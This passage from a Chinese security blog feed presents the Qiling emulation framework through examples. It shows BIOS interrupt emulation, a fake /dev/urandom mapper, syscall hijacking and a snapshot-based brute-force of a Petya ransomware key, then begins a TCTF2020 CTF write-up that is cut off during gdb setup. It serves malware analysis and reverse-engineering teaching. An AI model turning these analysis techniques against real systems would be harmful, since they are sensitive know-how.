16bit二进制文件，我大多数的工作都是合理的实现中断。比如 Petya 是一个 MBR病毒，它大量的使用了 BIOS 提供的 <code>INT 10</code>图像服务。在现代终端上一个对应的实现是 <code>curses</code>所以我花了很多时间来把过去的图像中断翻译成了 <code>curses</code>的调用。以 <code>INT10, 0</code> 为例子。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">int10</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="comment"># BIOS video support</span></span><br><span class="line">    <span class="comment"># https://en.wikipedia.org/wiki/INT_10H</span></span><br><span class="line">    <span class="comment"># https://stanislavs.org/helppc/idx_interrupt.html</span></span><br><span class="line">    <span class="comment"># implemented by curses</span></span><br><span class="line">    ah = <span class="variable language_">self</span>.ql.reg.ah</span><br><span class="line">    al = <span class="variable language_">self</span>.ql.reg.al</span><br><span class="line">    <span class="keyword">if</span> ah==<span class="number">0</span>:</span><br><span class="line">        <span class="comment"># time to set up curses</span></span><br><span class="line">        <span class="comment"># copied from curses.wrapper</span></span><br><span class="line">        <span class="variable language_">self</span>.stdscr = curses.initscr()</span><br><span class="line">        curses.noecho()</span><br><span class="line">        curses.cbreak()</span><br><span class="line">        <span class="variable language_">self</span>.stdscr.keypad(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            curses.start_color()</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">        <span class="keyword">if</span> al == <span class="number">0</span> <span class="keyword">or</span> al == <span class="number">1</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">25</span>, <span class="number">40</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">2</span> <span class="keyword">or</span> al == <span class="number">3</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">25</span>, <span class="number">80</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">4</span> <span class="keyword">or</span> al == <span class="number">5</span> <span class="keyword">or</span> al == <span class="number">9</span> <span class="keyword">or</span> al == <span class="number">0xD</span> <span class="keyword">or</span> al == <span class="number">0x13</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">200</span>, <span class="number">320</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">6</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">200</span>, <span class="number">640</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">8</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">200</span>, <span class="number">160</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">0xA</span> <span class="keyword">or</span> al == <span class="number">0xE</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">200</span>, <span class="number">640</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">0xF</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">350</span>, <span class="number">640</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">0x10</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">350</span>, <span class="number">640</span>)</span><br><span class="line">        <span class="keyword">elif</span> al == <span class="number">0x11</span> <span class="keyword">or</span> al == <span class="number">0x12</span>:</span><br><span class="line">            curses.resizeterm(<span class="number">480</span>, <span class="number">640</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="variable language_">self</span>.ql.nprint(<span class="string">&quot;Exception: int 10h syscall Not Found, al: %s&quot;</span> % <span class="built_in">hex</span>(al))</span><br><span class="line">            <span class="keyword">raise</span> NotImplementedError()</span><br><span class="line">        <span class="comment"># Quoted from https://linux.die.net/man/3/resizeterm</span></span><br><span class="line">        <span class="comment">#</span></span><br><span class="line">        <span class="comment"># If ncurses is configured to supply its own SIGWINCH handler, </span></span><br><span class="line">        <span class="comment"># the resizeterm function ungetch&#x27;s a KEY_RESIZE which will be </span></span><br><span class="line">        <span class="comment"># read on the next call to getch.</span></span><br><span class="line">        ch = <span class="variable language_">self</span>._get_ch_non_blocking()</span><br><span class="line">        <span class="keyword">if</span> ch == curses.KEY_RESIZE:</span><br><span class="line">            <span class="variable language_">self</span>.ql.nprint(<span class="string">f&quot;[!] You term has been resized!&quot;</span>)</span><br><span class="line">        <span class="keyword">elif</span> ch != -<span class="number">1</span>:</span><br><span class="line">            curses.ungetch(ch)</span><br><span class="line">        <span class="variable language_">self</span>.stdscr.scrollok(<span class="literal">True</span>)</span><br><span class="line">            </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> curses.has_colors():</span><br><span class="line">            <span class="variable language_">self</span>.ql.nprint(<span class="string">f&quot;[!] Warning: your terminal doesn&#x27;t support colors, content might not be displayed correctly.&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># https://en.wikipedia.org/wiki/BIOS_color_attributes</span></span><br><span class="line">        <span class="comment"># blink support?</span></span><br><span class="line">        <span class="keyword">if</span> curses.has_colors():</span><br><span class="line">            <span class="keyword">for</span> fg <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">                <span class="keyword">for</span> bg <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">                    color_pair_index = <span class="number">16</span>*fg + bg + <span class="number">1</span></span><br><span class="line">                    <span class="keyword">if</span> fg <span class="keyword">not</span> <span class="keyword">in</span> <span class="variable language_">self</span>.color_pairs:</span><br><span class="line">                        <span class="variable language_">self</span>.color_pairs[fg] = &#123;&#125;</span><br><span class="line">                    curses.init_pair(color_pair_index, COLORS_MAPPING[fg], COLORS_MAPPING[bg])</span><br><span class="line">                    color_pair = curses.color_pair(color_pair_index)</span><br><span class="line">                    <span class="variable language_">self</span>.color_pairs[fg][bg] = color_pair</span><br><span class="line">                    <span class="variable language_">self</span>.revese_color_pairs[color_pair] = (fg, bg)</span><br></pre></td></tr></table></figure><p>英文有句名言是 "Simple isbetter"。现在，相比以前的屏幕，终端已经变得越来越复杂了，结果实现一个简单的屏幕反而变得更难了，因为有太多的corner cases。</p><h4 id="模拟侧重点的区别">模拟侧重点的区别</h4><p>有心的读者可能已经注意到了，我们这里的模拟其实和真正的 DOS系统行为并不完全一样。没错，麒麟的模拟就是这样的。完美和快速的模拟从来不是麒麟的首要目标。麒麟关注的是为用户在二进制分析时提供最大的便利。我马上会谈到这一点。</p><p>顺带一提，麒麟从设计之初就是平台独立的。这意味着用户可以在 Windows上运行一个 Linux ELF，在 Mac OS 上运行一个 Windows exe。然而对于 QEMU来说这是不可能的，因为它需要把系统调用转发到主机上。</p><h3 id="分析">分析</h3><p>麒麟远远不止是一个模拟器。它同样提供了大量的API。</p><h4 id="fs_mapper">fs_mapper</h4><p>让我们以 <code>fs_mapper</code> 为例（因为我刚重构过 XD）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># Source: https://github.com/qilingframework/qiling/blob/dev/examples/hello_x86_linux_fake_urandom.py</span></span><br><span class="line"><span class="comment"># </span></span><br><span class="line"><span class="comment"># Cross Platform and Multi Architecture Advanced Binary Emulation Framework</span></span><br><span class="line"><span class="comment"># Built on top of Unicorn emulator (www.unicorn-engine.org) </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> qiling <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> qiling.os.mapper <span class="keyword">import</span> QlFsMappedObject</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Fake_urandom</span>(<span class="title class_ inherited__">QlFsMappedObject</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">read</span>(<span class="params">self, size</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;\x01&quot;</span> <span class="comment"># fixed value for reading /dev/urandom</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">fstat</span>(<span class="params">self</span>): <span class="comment"># syscall fstat will ignore it if return -1</span></span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">close</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    ql = Qiling([<span class="string">&quot;rootfs/x86_linux/bin/x86_fetch_urandom&quot;</span>], <span class="string">&quot;rootfs/x86_linux&quot;</span>)</span><br><span class="line">    ql.add_fs_mapper(<span class="string">&quot;/dev/urandom&quot;</span>, Fake_urandom())</span><br><span class="line">    ql.run()</span><br></pre></td></tr></table></figure><p>目标二进制文件 <code>x86_fetch_urandom</code> 的源代码为：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Souce: https://github.com/qilingframework/qiling/blob/dev/examples/src/linux/fetch_urandom.c</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span> &#123;</span><br><span class="line">    FILE *fp;</span><br><span class="line">    <span class="type">int</span> randno; </span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ((fp = fopen(<span class="string">&quot;/dev/urandom&quot;</span>, <span class="string">&quot;r&quot;</span>)) == <span class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Error! Could not open /dev/urandom for read\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    randno = fgetc(fp);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;randno: %d\n&quot;</span>, randno);</span><br><span class="line">    fclose(fp);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个二进制文件就简单的从 Linux 系统下的伪随机字节流<code>/dev/urandom</code> 获取一个字节。然而，如果使用了<code>ql.add_fs_mapper("/dev/urandom", Fake_urandom())</code>我们就可以劫持这次读取过程并且返回一个固定的字节。</p><p>除了设备文件，<code>fs_mapper</code>还可以模拟一个完整的磁盘。下面是模拟 Petya 的代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># Source: https://github.com/qilingframework/qiling/blob/dev/examples/petya_8086_mbr.py</span></span><br><span class="line"><span class="comment"># </span></span><br><span class="line"><span class="comment"># Cross Platform and Multi Architecture Advanced Binary Emulation Framework</span></span><br><span class="line"><span class="comment"># Built on top of Unicorn emulator (www.unicorn-engine.org)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">sys.path.append(<span class="string">&quot;..&quot;</span>)</span><br><span class="line"><span class="keyword">from</span> qiling <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> qiling.os.disk <span class="keyword">import</span> QlDisk</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    ql = Qiling([<span class="string">&quot;rootfs/8086/petya/mbr.bin&quot;</span>], </span><br><span class="line">                 <span class="string">&quot;rootfs/8086&quot;</span>,</span><br><span class="line">                 console=<span class="literal">False</span>, </span><br><span class="line">                 output=<span class="string">&quot;debug&quot;</span>, </span><br><span class="line">                 log_dir=<span class="string">&quot;.&quot;</span>)</span><br><span class="line">    <span class="comment"># Note:</span></span><br><span class="line">    <span class="comment"># This image is only intended for PoC since the core petya code resides in the</span></span><br><span class="line">    <span class="comment"># specific sectors of a harddisk. It doesn&#x27;t contain any data, either encryted</span></span><br><span class="line">    <span class="comment"># or unencrypted.</span></span><br><span class="line"></span><br><span class="line">    ql.add_fs_mapper(<span class="number">0x80</span>, QlDisk(<span class="string">&quot;rootfs/8086/petya/out_1M.raw&quot;</span>, <span class="number">0x80</span>))</span><br><span class="line">    ql.run()</span><br></pre></td></tr></table></figure><p><code>0x80</code> 是实模式下磁盘的索引。对于 Linux 和Windows，这个值可以是 <code>/dev/sda</code> 或者<code>\\.\PHYSICALDRIVE0</code>。<code>QlDisk</code>是一个类，可以把一个文件模拟成磁盘，比如磁头、柱面和扇区的支持等等。之所以要模拟一个侧畔，是因为Petya 使用了 BIOS 提供的 <code>INT 13</code>磁盘服务来直接读写硬盘。为了实现这些中断，把一个文件映射成模拟环境下的磁盘是有必要的。</p><h4 id="系统调用劫持">系统调用劫持</h4><p>另一个例子是系统调用劫持。下面是<ahref="https://docs.qiling.io/en/latest/hijack/#posix-qlset_api">文档</a>里的一个例子。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> qiling <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">my_puts</span>(<span class="params">ql</span>):</span><br><span class="line">    addr = ql.os.function_arg[<span class="number">0</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;puts(%s)&quot;</span> % ql.mem.string(addr))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    ql = Qiling([<span class="string">&quot;rootfs/x8664_linux/bin/x8664_hello&quot;</span>], <span class="string">&quot;rootfs/x8664_linux&quot;</span>, output=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">    ql.set_api(<span class="string">&#x27;puts&#x27;</span>, my_puts)</span><br><span class="line">    ql.run()</span><br></pre></td></tr></table></figure><p>因为麒麟自己就是整个 OS环境，所以把系统调用暴露给用户是非常简单就可以实现的。</p><h4 id="快照-部分执行">快照 &amp; 部分执行</h4><p>快照可以让用户保存或者恢复一个程序执行的上下文，包括 CPU寄存器，内存内容甚至是文件描述符。配合部分执行的API，快照可以让用户完全控制一个程序，随意的测试一个程序内的任何一段代码。下面是分析Petya 的例子：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">one_round</span>(<span class="params">ql: Qiling, key: <span class="built_in">bytes</span>, key_address</span>):</span><br><span class="line">    gkeys = generate_key(key)</span><br><span class="line">    ql.mem.write(key_address, gkeys)</span><br><span class="line">    <span class="comment"># Partial executaion</span></span><br><span class="line">    ql.run(begin=verfication_start_ip, end=verfication_start_ip+<span class="number">6</span>)</span><br><span class="line">    lba37 = ql.mem.read(ql.reg.sp + <span class="number">0x220</span>, <span class="number">0x200</span>)</span><br><span class="line">    <span class="keyword">for</span> ch <span class="keyword">in</span> lba37:</span><br><span class="line">        <span class="keyword">if</span> ch != <span class="number">0x37</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># In this stage, we will crack for the password.</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">second_stage</span>(<span class="params">ql: Qiling</span>):</span><br><span class="line">    disk = QlDisk(<span class="string">&quot;rootfs/8086/petya/out_1M.raw&quot;</span>, <span class="number">0x80</span>)</span><br><span class="line">    <span class="comment">#nonce = get_nonce(disk)</span></span><br><span class="line">    <span class="comment"># Prepare stack</span></span><br><span class="line">    verfication_data = disk.read_sectors(<span class="number">0x37</span>, <span class="number">1</span>)</span><br><span class="line">    nonce_data = disk.read_sectors(<span class="number">0x36</span>, <span class="number">1</span>)</span><br><span class="line">    ql.reg.sp -= <span class="number">0x200</span></span><br><span class="line">    verification_data_address = ql.reg.sp</span><br><span class="line">    ql.reg.sp -= <span class="number">0x200</span></span><br><span class="line">    nonce_address = ql.reg.sp + <span class="number">0x21</span></span><br><span class="line">    ql.reg.sp -= <span class="number">0x20</span></span><br><span class="line">    key_address = ql.reg.sp</span><br><span class="line">    ql.mem.write(verification_data_address, verfication_data)</span><br><span class="line">    ql.mem.write(nonce_address - <span class="number">0x21</span>, nonce_data)</span><br><span class="line">    ql.arch.stack_push(<span class="number">0x200</span>)</span><br><span class="line">    ql.arch.stack_push(verification_data_address)</span><br><span class="line">    ql.arch.stack_push(<span class="number">0</span>)</span><br><span class="line">    ql.arch.stack_push(nonce_address)</span><br><span class="line">    ql.arch.stack_push(key_address)</span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> product(<span class="built_in">list</span>(accepted_chars), repeat=<span class="number">2</span>):</span><br><span class="line">        ctx = ql.save()</span><br><span class="line">        <span class="comment"># 3xMxjxXxLxoxmxAx</span></span><br><span class="line">        key = <span class="string">b&quot;3xMxjxXxLxoxmx&quot;</span> + (<span class="string">&quot;&quot;</span>.join(x)).encode(<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Trying: <span class="subst">&#123;key&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> one_round(ql, key, key_address):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Key: <span class="subst">&#123;key&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> key</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            ql.restore(ctx)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>在上面的代码中，我们首先准备好了堆栈，然后保存了一次快照。之后我们把解密的key 写入到函数参数然后直接调用了验证函数。如果结果表明 key是错误的，那么我们直接恢复之前保存的快照然后再次尝试。</p><p>限于篇幅，我无法在这里介绍麒麟所有的功能。如果有兴趣可以参考麒麟的<ahref="https://docs.qiling.io/en/latest/">文档</a>。总而言之，正是这些强大的API让麒麟成为了一个真正的动态打桩分析框架，让麒麟区别于其他的模拟器。</p><h3 id="调试">调试</h3><p>我们知道，QEMU 是支持 gdb 远程调试的，那么麒麟怎么能不支持这么好的feature 呢？</p><p>在写下这篇文章的时候，麒麟的调试功能仍然在紧张开发中，但是 16bit调试已经完成了。简单的增加一行 <code>ql.debugger=True</code> 然后连接gdb 到 <code>127.0.0.1:9999</code> 即可，下面是一张截图。</p><img src="/2020/09/06/%E7%94%A8%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AE%9E%E6%A8%A1%E5%BC%8F%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6/debugger.png" class=""><h3 id="扩展">扩展</h3><p>目前，麒麟正在把一些逻辑解耦成为单独的扩展。其中我们最近的一个工作是<a href="https://docs.qiling.io/en/latest/ida/">IDA插件</a>，下面是相应的截图：</p><img src="/2020/09/06/%E7%94%A8%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AE%9E%E6%A8%A1%E5%BC%8F%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6/ida7.jpg" class=""><p>哦，等一下，我知道大家都是命令行高手，这样的插件真的有意义吗？</p><p>当然，正是有了 IDA 插件，至少你不需要再买一份 IDA Linux授权，因为你可以在 Windows/Mac OS 上运行 Linux ELF，不是吗？</p><p>在麒麟的 <ahref="https://github.com/qilingframework/qiling/tree/dev/qiling/extensions">qiling/extensionsdirectory</a> 目录下还有很多有意思的插件，有兴趣可以查看相应的 REAME或者文档。</p><h2 id="总结">总结</h2><p>麒麟框架是一个非常有野心的框架。我们的终极目标是写出一个像瑞士军刀一样的分析框架，解除各种限制，比如因为平台或者系统不同导致的壁垒，为广大的逆向工程师们提供最好的体验。没有什么能阻止我们进一步的二进制分析！</p><p>然而，麒麟框架现在仍然不完美。欢迎大家给我们一个 <ahref="https://github.com/qilingframework/qiling">star</a>以示鼓励并且加入到我们的开发中来！我们期待合并你的第一个 PR！</p><p>项目地址为：https://github.com/qilingframework/qiling</p><h2 id="后记">后记</h2><ul><li><code>Qiling</code> 确实是一个拼写错误。本来应该是<code>Qilin</code> 的。不过无所谓啦 :P</li><li>实际上，暴力穷举破解 Petya 的 key是没法在可接受的时间内完成的。这里我们仅仅是展示麒麟的 API。</li><li>IDA 7.0 不支持 Python3，但是 Ghidra 支持马上就会有了。</li><li>TLDR：点个 <ahref="https://github.com/qilingframework/qiling">star</a> 再走吧。</li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6/">麒麟框架</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%88%86%E6%9E%90/">二进制分析</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6/">麒麟框架</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/">信息安全</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E6%A8%A1%E6%8B%9F%E8%BF%90%E8%A1%8C/">模拟运行</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E8%99%9A%E6%8B%9F%E6%9C%BA/">虚拟机</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E6%B2%99%E7%9B%92/">沙盒</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%AE%9E%E6%A8%A1%E5%BC%8F/">实模式</category>
      
      <category domain="http://blog.ihomura.cn/tags/16bit/">16bit</category>
      
      
      <comments>http://blog.ihomura.cn/2020/09/06/%E7%94%A8%E9%BA%92%E9%BA%9F%E6%A1%86%E6%9E%B6%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AE%9E%E6%A8%A1%E5%BC%8F%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>WriteUp:TCTF2020 flash</title>
      <link>http://blog.ihomura.cn/2020/07/02/WriteUp-TCTF2020-flash/</link>
      <guid>http://blog.ihomura.cn/2020/07/02/WriteUp-TCTF2020-flash/</guid>
      <pubDate>Thu, 02 Jul 2020 09:07:51 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;题目描述&quot;&gt;题目描述&lt;/h2&gt;
&lt;p&gt;TCTF2020 的 flash 题目。&lt;/p&gt;
&lt;p&gt;题目本体见&lt;a href=&quot;/TCTF2020/flash.zip&quot;&gt;这里&lt;/a&gt;。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="题目描述">题目描述</h2><p>TCTF2020 的 flash 题目。</p><p>题目本体见<a href="/TCTF2020/flash.zip">这里</a>。</p><span id="more"></span><p>一开始看到名字我还以为是 Adobe 那个 flash 逆向，结果下载下来一看<code>run.sh</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#! /bin/sh</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">qemu-system-mips -M mips -bios ./flash -nographic -m 16M -monitor /dev/null 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p>哦，得嘞，原来是闪存那个 flash。</p><p>题目的关键当然是这个 flash 文件了，一开始我总以为它是 qemu的镜像文件，但是无奈用了各种工具检查都显示是纯数据文件，最后我终于注意到了<code>-bios</code>参数，实际上意思就是从这个文件第一行开始执行，所以直接拖进IDA就可以了。</p><h2 id="环境配置">环境配置</h2><p>首先是安装 <code>qemu-system-mips</code>，直接<code>apt install qemu-system-mips</code> 即可。</p><p>然后为了能够调试这个文件，我们需要目标架构包含 mips 的gdb，通常情况下预编译的 gdb 是只有 i386 和 x86_64的，所以我们还需要手动编译一下，这里我选择的是 gdb9.2。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">wget -c <span class="string">&quot;http://ftp.gnu.org/gnu/gdb/gdb-9.2.tar.gz&quot;</span></span><br><span class="line">tar xf gdb-9.2.tar.gz</span><br><span class="line"><span class="built_in">cd</span> gdb-9.2</span><br><span class="line"><span class="built_in">mkdir</span> build</span><br><span class="line">./configure --target=mips --with-python=/usr/bin/python3</span><br><span class="line">make -j8</span><br></pre></td></tr></table></figure><p>这里选定了 Python 路径是因为我需要用到 pwndbg。</p><p>编译完成后注意在运行的时候需要指定 <code>data-directory</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> gdb</span><br><span class="line">./gdb --data-directory ./data-directory/</span><br></pre></td></tr></table></figure><p>然后输入 <code>set architecture</code> 再按 tab 就可以看到包含了各种mips 的架构。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; <span class="built_in">set</span> architecture </span><br><span class="line">auto                 mips:4010            mips:5500            mips:isa32           mips:loongson_2e</span><br><span class="line">mips                 